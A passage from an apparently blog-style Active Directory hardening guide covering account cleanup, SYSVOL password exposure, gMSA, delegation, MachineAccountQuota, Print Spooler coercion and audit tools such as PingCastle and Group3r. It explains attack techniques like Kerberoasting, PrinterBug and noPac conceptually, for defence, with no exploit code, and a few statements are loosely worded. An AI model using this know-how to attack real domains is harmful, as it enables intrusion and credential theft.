incident.</p><p>1-Active Directory Asset Management</p><p>organize the Active Directory , review and audit who is the users , Groups , OUs and asset tags , remove or disable legacy accounts</p><p>2-Account lifecycle / Access Control</p><blockquote>it is policy for create new accounts and its privileges , disabled and removed</blockquote><blockquote>Policies for creating and deleting user accounts :</blockquote><ul><li>provisioning : create account and give its privileges</li><li>modification : change account permissions for business</li><li>De-provisioning : disable account or remove</li></ul><p>enable MFA</p><p>3-Active Directory Cleanup policy</p><p>Are the accounts of former employees deleted, or are they simply disabled?<br>What is the procedure for removing stale records?<br>For example, abandoned accounts often remain in Active Directory (AD) for years, still retaining old permissions. Attackers favor these accounts precisely because no one is monitoring them.</p><p>4-<strong>Baseline Security Hardening Guideline &amp; Gold Image</strong></p><p>Essentially, every new device is set up using a pre-approved, secured image.<br>For example, instead of each technician installing and configuring things according to their own preference, they use a “gold image” that already contains all the necessary security settings — ensuring that all devices are consistent and secure.</p><p>5-Periodic review schedule</p><p>A schedule for reviewing users, groups, and devices.</p><h3><strong>2.3 Technology</strong></h3><p>Periodically review AD for legacy misconfigurations and new and emerging threats. As changes are made to AD, ensure that common misconfigurations are not introduced. Pay attention to any vulnerabilities introduced by AD and tools or applications utilized in the environment.</p><p>1-Run the review tools periodically</p><p>Run tools such as BloodHound, PingCastle, and Grouper periodically to identify AD misconfigurations</p><p>The same tools an attacker would use — but you use them first to identify and fix issues.<br>For example, BloodHound might reveal that a standard user in the Helpdesk has a three-step path to becoming a Domain Admin. You simply correct the misconfigured ACL, and the problem is resolved.</p><p>2-Ensure that administrators are not storing passwords in the AD account description field.</p><p>Some admins include the password in the account description to avoid having to look it up elsewhere.<br>For example:</p><p>Description: Service account for backup — Pass: Backup@2020.</p><p>Any standard user in the domain can read this field using a simple LDAP query.</p><p>3-Review SYSVOL for scripts containing passwords and other sensitive data.</p><p>SYSVOL (System volume) -&gt;</p><ul><li>It is a shared folder present on every domain controller, containing files and information related to Active Directory Group Policies, logon scripts, and other files required by the domain.</li><li>default path : C:\Windows\SYSVOL\sysvol</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zXP4H7pwgFsCtGcXR8CHzA.png" /></figure><ul><li>SYSVOL contents :</li></ul><ol><li>Group Policy Templates.</li><li>Logon Scripts.</li><li>Logoff Scripts.</li><li>Startup Scripts.</li><li>Shutdown Scripts.</li><li>GPO configuration files</li></ol><p>Why can SYSVOL pose a security risk?<br>This is the part that matters most when it comes to Active Directory hardening.</p><p>By default, much of the content within SYSVOL is readable by “Authenticated Domain Users.”</p><p>Why?</p><p>Because domain devices and users need to be able to read Group Policy files in order to apply the settings contained within them.</p><p>This means that if an attacker gains access to a standard “Domain User” account, they could potentially read the contents of SYSVOL.</p><p>In itself, this is not a vulnerability; it is an intentional read permission required for Group Policy to function.</p><p>The problem arises when an administrator places sensitive data inside these files.</p><p>4-Avoid the use of “normal” service accounts, utilizing Group Managed (gMSA) and Managed Service Accounts (MSA) where ever possible to mitigate the risk of Kerberoasting.</p><p>gMSA (Group Managed Service Account) : an Active Directory (AD) account that automatically manages and rotates its own password across multiple servers or services</p><p>it automatically generated very long and complex password for service account , maybe 240 length character 😳</p><p>and <strong>Automatic password rotation:</strong> Windows automatically generates strong passwords (defaulting to a 30-day rotation interval)</p><p><strong>No password management overhead:</strong> Administrators do not track, enter, or synchronize passwords manually; authorized hosts retrieve credentials automatically from Domain Controllers.</p><p>5-Disable Unconstrained Delegation</p><p>On a server with Unconstrained Delegation, any user who connects to it leaves their TGT (Ticket Granting Ticket) on that server. If an attacker gains control of such a server, they can extract the TGT of any administrator who has connected to it.</p><p>can used for Diamond Ticket attack</p><p>6-Prevent direct access to Domain Controllers through the use of hardened jump hosts.</p><p>A “Jump Host” or “Jump Server” is an intermediate server used by administrators to access sensitive devices and systems within a network.</p><p>Instead of an administrator connecting directly to a Domain Controller from their personal workstation, they first log in to a dedicated, secure server, from which they then manage the Domain Controllers.</p><p>a hardened intermediary system that administrators connect to first before managing domain controllers, servers, or sensitive network segments. It enforces centralized access control, restricts direct lateral paths into critical infrastructure, and centralizes session auditing.</p><ul><li>Centralized User Management: Changes made in AD immediately reflect on the jump server, reducing manual updates.</li><li>Enhanced Security: Only authorized users can reach your critical server zones.</li><li>Simplified Auditing: Logs from your jump server can be traced back to AD users, improving accountability.</li></ul><h3>Steps to Integrate Jump Servers with Active Directory</h3><ol><li>Setup the Jump Server: Install your jump server in a secure segment of your network. Ensure it’s locked down with firewalls to prevent unauthorized access.</li><li>Connect to Active Directory: Use your AD credentials to integrate the jump server. This connection allows immediate updates and requires little maintenance once set up.</li><li>Define User Permissions: Within AD, specify who can use the jump server. Fine-tune these permissions to accommodate roles across your organization.</li><li>Establish Logging and Monitoring: Enable logging features to track who accesses what. Use this data to refine policies, identify suspicious activity, and create reports for compliance.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*lZD6OAp0fB-_EOrndJ_zIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*APlQTOGjYyImDtNuk2OFSg.png" /></figure><p>7-Consider setting the ms-DS-MachineAccountQuota attribute to 0, which disallows users from adding machine accounts and can prevent several attacks such as the noPac attack and Resource-Based Constrained Delegation (RBCD)</p><p>the ms-DS-MachineAccountQuota : an Active Directory domain attribute that limits how many computer accounts a standard authenticated user can create in a domain, set to <strong>10</strong> by default.</p><p>The default value is 10, meaning any standard user can add up to 10 devices to the domain!<br>This facilitates attacks such as noPac and RBCD (Resource-Based Constrained Delegation), as an attacker can create and control a machine account.<br>Setting it to 0 prevents standard users from adding any devices.</p><p>8-Disable the print spooler service</p><p>The Print Spooler is a Windows service responsible for managing print jobs in Windows.</p><p>Every service running on a machine introduces functions and interfaces that an attacker might attempt to exploit.</p><p>A Domain Controller (DC) does not necessarily need to function as a Print Server.</p><p>Why, then, would you run a print service on the most critical server — the one responsible for user identities and permissions within the domain — when it isn’t even required?</p><p>Having the Print Spooler service enabled on a DC can expose it to attacks specifically targeting that service.</p><p>Two key examples are:<br>A. PrinterBug — Print Spooler Coercion<br>This is a crucial technique that you need to understand.</p><p>Commonly known as “PrinterBug,” it involves exploiting a function within the Windows Print Spooler via RPC (Remote Procedure Call).<br>What is “Authentication Coercion”?<br>Simply put, an attacker forces a machine or server to perform an authentication process against a target device of the attacker’s choosing.</p><p>In other words, instead of stealing credentials directly from a victim, the attacker compels the victim’s machine to initiate a connection to an attacker-controlled device and perform an authentication.</p><p>This is known as:</p><p>Forced Authentication / Authentication Coercion</p><p>On DCs and servers that don’t need it. It prevents many attacks, such as PrinterBug and PrintNightmare.</p><p>9-Disable NTLM authentication &amp; RC4 Encyption</p><p>very old , can lead to Pass-the-hash and Kerberosting</p><p>10-prevent enumeration with tools like BloodHound &amp; mimikatz</p><p>11-Enable SMB signing and LDAP signing</p><p>12-perform quarterly penetration tests/AD security assessments</p><p>Every 3 months (ideally), or at least once a year if the budget is limited.</p><p>13-Test backups for validity and review/practice disaster recovery plans.</p><p>14-Enable the restriction of anonymous access and prevent null session enumeration by setting the RestrictNullSessAccess registry key to 1 to restrict null session access to unauthenticated users.</p><p>15-Set the registry key named `RestrictNullSessAccess` to 1.<br>This prevents anyone without credentials from performing enumeration of users, groups, and shares.</p><p>it prevent SMB null session attack</p><h3><strong>Other techniques</strong></h3><p>1-AD explorer Tool</p><p>An advanced Active Directory (AD) viewer and editor. You can use AD Explorer to navigate an AD database easily, define favorite locations, view object properties, and attributes without opening dialog boxes, edit permissions, view an object’s schema, and execute sophisticated searches that you can save and re-execute.”</p><p>AD Explorer can also be used to save snapshots of an AD database for offline viewing and comparison. We can take a snapshot of AD at a point in time and explore it later, during the reporting phase, as you would explore any other database. It can also be used to perform a before and after comparison of AD to uncover changes in objects, attributes, and security permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IDUzX-rcSjkNY135N_nYwA.png" /><figcaption>Logging in with AD Explorer</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rth0XBJf2cR5-PmKfEvv6g.png" /><figcaption>Browsing AD with AD Explorer</figcaption></figure><p>2-Use PingCastle Tool</p><p><a href="https://www.pingcastle.com/documentation/">PingCastle</a> is a powerful tool that evaluates the security posture of an AD environment and provides us the results in several different maps and graphs. Thinking about security for a second, if you do not have an active inventory of the hosts in your enterprise, PingCastle can be a great resource to help you gather one in a nice user-readable map of the domain. PingCastle is different from tools such as PowerView and BloodHound because, aside from providing us with enumeration data that can inform our attacks, it also provides a detailed report of the target domain’s security level using a methodology based on a risk assessment/maturity framework.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*4N4DY2NwuOlbeepdn5PeKg.png" /><figcaption>pingCastel scanner options</figcaption></figure><p>3-Use Group3r Tool</p><p>find vulnerabilities in Active Directory associated Group Policy. Group3r must be run from a domain-joined host with a domain user (it does not need to be an administrator), or in the context of a domain user</p><p>running the tool :</p><pre>C:\htb&gt; group3r.exe -f &lt;filepath-name.log&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9IMv9Z4UGMEpnrZ_fRuKEQ.png" /><figcaption>output</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1NwC0Tu561Jnxhs-yL1GIg.png" /></figure><p>And this the end</p><p>hope you find it better and good ! 3&gt;</p><p>resources :</p><p><a href="https://hoop.dev/blog/how-jump-servers-simplify-active-directory-management-for-technology-managers">How Jump Servers Simplify Active Directory Management for Technology Managers</a></p><p><a href="https://academy.hackthebox.com/app/module/143">https://academy.hackthebox.com/app/module/143</a></p><p><a href="https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/default-workstation-numbers-join-domain">https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/default-workstation-numbers-join-domain</a></p><p><a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/group-managed-service-accounts/group-managed-service-accounts/manage-group-managed-service-accounts?tabs=aduc">https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/group-managed-service-accounts/group-managed-service-accounts/manage-group-managed-service-accounts?tabs=aduc</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=86dc8fef4637" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>